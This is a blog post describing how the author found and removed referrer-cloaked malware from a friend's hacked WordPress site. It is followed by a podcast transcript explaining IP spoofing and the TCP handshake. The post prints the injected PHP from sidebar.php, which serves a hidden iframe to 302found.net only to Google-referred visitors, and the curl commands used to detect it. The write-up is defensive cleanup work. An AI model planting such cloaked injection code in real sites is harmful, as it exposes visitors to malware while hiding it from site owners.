A friend up mine, Shimon Sandler, has a website that got hacked. He turned to me for help. Shimon runs a popular blog on SEO (Search Engine Optimization). When you do a search in Google for “Shimon Sandler” he is always number one (he’s very good at what he does). A few weeks back Shimon’s site got “blacklisted”, which means that when you clicked on the link to his site a message popped on your screen. It said, “Warning: visiting this site may harm your computer”. With the help of Matt Cutts from Google we discovered the “mal-ware”! This malicious software reared it’s ugly head ONLY if the page prior (Referrer) was any page from Google. The “curl” command came in handy in this case. You certainly never want to click on a suspicious link. Curl is a command that allows you to download a URL so that you can view it in text editor rather than requesting it in a browser.

1. Fetch the page with a Google referrer:
curl -H ‘Referer: http://www.google.com/search?hl=en&q=rbn’
http://www.shimonsandler.com/ > /tmp/1

2. Fetch the page with no referrer:
curl http://www.shimonsandler.com/ > /tmp/2

3. Compare the two pages:
diff -u /tmp/2 /tmp/1

The cloaking/malware is included via this line:
<iframe src=”http://302found.net/in.cgi?20″ mce_src=”http://302found.net/in.cgi?20″ style=”display:none;”></iframe>

As you can see, I requested two pages. One was just straight www.shimonsandler.com with no Referrer page and the other was www.shimonsandler.com with a Google Referrer in there. The one with the Google Referrer shows an iframe with a suspicious link! That is the “mal-ware”.

I then logged onto Shimon’s web-server and found the server code responsible for displaying this iframe link.

Here is the command I used to find which script file contained “302found”.
find . -exec grep 302found {} dev/null \;

Here we are:
./wp-content/themes/SS-shimon_sandler/sidebar.php:>? $rf = $_SERVER['HTTP_REFERER']; $se = “google”; if (preg_match(”/$se/”,$rf)) { echo ‘<iframe src=”http://302found.net/in.cgi?20″ mce_src=”http://302found.net/in.cgi?20″ style=”display:none;”></iframe>’;} ?>

You can see the code is doing a check on the REFERRER, and if the URL contains “Google” then it writes out to the HTML this nasty iframe which is set so noone could see it on the page.

Soon after I took out that code in the PHP file, Shimon’s site was once again white-listed.

Here is a great link I found with details on what to do if your site gets hacked. Even if your site was never hacked it’s worth it spend the time to review some basic suggestions on how to properly secure your site. Remember, as with all passwords, make sure its a strong password. Any password that is just a word, like ‘pumpkin’ or ‘dandelions’ is extremely weak. I can’t say exactly how Shimon’s site got hacked, although if you follow some good security principals, it will better protect you and possibly, prevent an attack like this.

This is very exciting for me. A question I submitted was read on the security now podcast. See the transcript below.

Leo: Ron Goodbin of Clifton, New Jersey needs some IP spoofing clarification. Steve, you’ve talked about how when a client establishes a TCI/IP connection to a server, there’s no way the client can spoof their IP. When a client establishes a connection to a server, there’s no way the client can spoof their IP. If so, what is an IP spoofing attack? Is there absolutely no way someone can fake their IP when you’ve established a TCP/IP connection? Some clarity on this would be much appreciated. Well, he raises a good issue. I thought you could spoof an IP.

Steve: Nope, not with a TCP connection. The reason is, the way a connection is made is…

Leo: Oh, it has to get back to you. Steve: Exactly. It’s that three-way handshake. It requires two roundtrips, that is, the so-called SYN packet, short for “synchronized,” that goes from the client that’s initiating the connection to the server that has the open port which is waiting for the connection. The server receives that, and it sends back its SYN/ACK, which is to say its own SYN packet combined with an ACK, an acknowledgement of the receipt of the client SYN. Well, it sends it back to the IP that was the source IP on the packet coming in is now the destination IP on that SYN/ACK going back out. If that were a spoofed IP from the original sender, then the SYN/ACK would be sent to that spoofed IP, not back to the sender. So, while, sure, you’re able to spoof incoming SYN packets, and that is in fact what a spoofed IP attack is, is just flooding a server with random, made-up…

Leo: Because you don’t care about the return.

Steve: Exactly. You’re not trying - there you’re trying to do an attack, a bandwidth attack on the server. You’re not trying to actually establish connections. So in order to establish a connection you have to be sending the packet from a valid IP. And then the SYN/ACK comes back to that IP, and that’s the second leg of the three-way handshake. And finally, the client sends its acknowledgement packet back to the server. And the beautiful thing about that is that, from the original designers of the Internet, that requires two roundtrips, one from the client to the server and back, one from the server to the client and back. And that verifies that the routing between those two endpoints is in place for packets traveling in both directions. So it makes sure that everything is intact, and it does validate and verify the IP addresses of each endpoint.